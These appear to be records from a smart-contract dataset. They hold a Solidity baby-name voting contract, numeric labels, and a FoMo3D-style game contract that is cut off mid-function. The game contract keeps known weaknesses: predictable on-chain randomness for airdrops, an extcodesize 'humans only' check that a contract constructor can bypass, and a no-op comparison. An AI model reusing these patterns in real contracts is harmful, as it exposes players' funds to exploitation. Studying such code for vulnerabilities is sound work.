pragma solidity ^ 0.4.18; contract CryptoBabyName { uint8 constant S_NAME_POS = 18; uint8 constant S_NAME_SIZE = 10; uint8 constant S_SCORE_POS = 0; uint8 constant S_SCORE_SIZE = 10; uint8 constant S_VOTES_POS = 10; uint8 constant S_VOTES_SIZE = 4; uint8 constant S_TIMESTAMP_POS = 14; uint8 constant S_TIMESTAMP_SIZE = 4; uint8 constant S_APPROVED_POS = 28; uint8 constant S_APPROVED_SIZE = 1; uint8 constant S_SELECTED_POS = 29; uint8 constant S_SELECTED_SIZE = 1; address public owner; address public beneficiary; mapping(bytes10 => uint) leaderboard; mapping(address => mapping(bytes10 => uint)) voters; uint[100] allNames; mapping(string => string) metadata; uint babyName; uint babyBirthday; uint counter = 0; modifier restricted() { if (msg.sender == owner) _; } function CryptoBabyName() public { owner = msg.sender; } event Vote(address voter, string name, uint value); event NewSuggestion(address voter, string name, uint number); event BabyBorn(string name, uint birthday); function vote(string name) external payable{ _vote(name, msg.value, msg.sender); } function () public payable{ if (msg.data.length >= 2 && msg.data.length <= 10) { _vote(string(msg.data), msg.value, msg.sender); } } function _vote(string name, uint value, address voter) private { require(babyName == 0); bytes10 name10 = normalizeAndCheckName(bytes(name)); if (leaderboard[name10] != 0) { uint newVal = leaderboard[name10]; newVal = addToPart(newVal, S_SCORE_POS, S_SCORE_SIZE, value); newVal = addToPart(newVal, S_VOTES_POS, S_VOTES_SIZE, 1); _update(name10, newVal); } else { uint uni = 0xFFFF; uni = setPart(uni, S_SCORE_POS, S_SCORE_SIZE, value); uint uname = uint(name10); uni = setPart(uni, S_NAME_POS, S_NAME_SIZE, uname); uni = setPart(uni, S_VOTES_POS, S_VOTES_SIZE, 1); uni = setPart(uni, S_TIMESTAMP_POS, S_TIMESTAMP_SIZE, block.timestamp); uni |= 0xFFFF; _update(name10, uni); counter += 1; NewSuggestion(voter, name, counter); } voters[voter][name10] += value; Vote(voter, name, value); } function didVoteForName(address voter, string name) public view returns(uint value){ value = voters[voter][normalizeAndCheckName(bytes(name))]; } function _update(bytes10 name10, uint updated) private { uint16 idx = uint16(updated); if (idx == 0xFFFF) { uint currentBottom; uint bottomIndex; (currentBottom, bottomIndex) = bottomName(); if (updated > currentBottom) { if (getPart(currentBottom, S_SCORE_POS, S_SCORE_SIZE) > 0) { currentBottom = currentBottom | uint(0xFFFF); bytes10 bottomName10 = bytes10(getPart(currentBottom, S_NAME_POS, S_NAME_SIZE)); leaderboard[bottomName10] = currentBottom; } updated = (updated & ~uint(0xFFFF)) | bottomIndex; allNames[bottomIndex] = updated; } } else { allNames[idx] = updated; } leaderboard[name10] = updated; } function getPart(uint val, uint8 pos, uint8 sizeBytes) private pure returns(uint result){ uint mask = makeMask(sizeBytes); result = (val >> ((32 - (pos + sizeBytes)) * 8)) & mask; } function makeMask(uint8 size) pure private returns(uint mask){ mask = (uint(1) << (size * 8)) - 1; } function setPart(uint val, uint8 pos, uint8 sizeBytes, uint newValue) private pure returns(uint result){ uint mask = makeMask(sizeBytes); result = (val & ~(mask << (((32 - (pos + sizeBytes)) * 8)))) | ((newValue & mask) << (((32 - (pos + sizeBytes)) * 8))); } function addToPart(uint val, uint8 pos, uint8 sizeBytes, uint value) private pure returns(uint result){ result = setPart(val, pos, sizeBytes, getPart(val, pos, sizeBytes) + value); } function bottomName() public view returns(uint name, uint index){ uint16 n = uint16(allNames.length); uint j = 0; name = allNames[0]; index = 0; for (j = 1; j < n; j++) { uint t = allNames[j]; if (t < name) { name = t; index = j; } } } function getTopN(uint nn) public view returns(uint[] top){ uint n = nn; if (n > allNames.length) { n = allNames.length; } top = new uint[](n); uint cnt = allNames.length; uint usedNames; for (uint j = 0; j < n; j++ ) { uint maxI = 0; uint maxScore = 0; bool found = false; for (uint i = 0; i < cnt; i++ ) { if (allNames[i] > maxScore) { if ((usedNames & (uint(1) << i)) == 0) { maxScore = allNames[i]; maxI = i; found = true; } } } if (found) { usedNames |= uint(1) << maxI; top[j] = maxScore; } else { break; } } } function getTopNames() external view returns(uint[100]){ return allNames; } function getCount() external view returns(uint count){ count = counter; } function getScoreForName(string name) external view returns(uint){ return leaderboard[normalizeAndCheckName(bytes(name))]; } function approve(string name, uint8 approval) external { require(msg.sender == owner); bytes10 name10 = normalizeAndCheckName(bytes(name)); uint uname = leaderboard[name10]; if (uname != 0) { uname = setPart(uname, S_APPROVED_POS, S_APPROVED_SIZE, approval); _update(name10, uname); } } function redeem(uint _value) external{ require(msg.sender == owner); uint value = _value; if (value == 0) { value = this.balance; } owner.transfer(value); } function babyBornEndVoting(string name, uint birthday) external returns(uint finalName){ require(msg.sender == owner); bytes10 name10 = normalizeAndCheckName(bytes(name)); finalName = leaderboard[name10]; if (finalName != 0) { babyName = finalName; babyBirthday = birthday; BabyBorn(name, birthday); } } function getSelectedName() external view returns(uint name, uint birthday){ name = babyName; birthday = babyBirthday; } function normalizeAndCheckName(bytes name) private pure returns(bytes10 name10){ require(name.length <= 10); require(name.length >= 2); for (uint8 i = 0; i < name.length; i++ ) { bytes1 chr = name[i] & ~0x20; require(chr >= 0x41 && chr <= 0x5A); name[i] = chr; name10 |= bytes10(chr) >> (8 * i); } } }
0
341
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FoMo3DLightning is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xF6b8836492f8332D17B1496828d2bEE71ad511DA); address private admin = msg.sender; string constant public name = "FOMO Lightning"; string constant public symbol = "SHORT"; uint256 private rndExtra_ = 15 minutes; uint256 private rndGap_ = 15 minutes; uint256 constant private rndInit_ = 15 minutes; uint256 constant private rndInc_ = 10 seconds; uint256 constant private rndMax_ = 15 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(49,2); fees_[1] = F3Ddatasets.TeamFee(49,2); fees_[2] = F3Ddatasets.TeamFee(49,2); fees_[3] = F3Ddatasets.TeamFee(49,2); potSplit_[0] = F3Ddatasets.PotSplit(38,2); potSplit_[1] = F3Ddatasets.PotSplit(38,2); potSplit_[2] = F3Ddatasets.PotSplit(38,2); potSplit_[3] = F3Ddatasets.PotSplit(38,2); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000) { uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); admin.transfer(_com); admin.transfer(_p3d.sub(_p3d / 2)); round_[_rID].pot = _pot.add(_p3d / 2); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _aff; } _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, 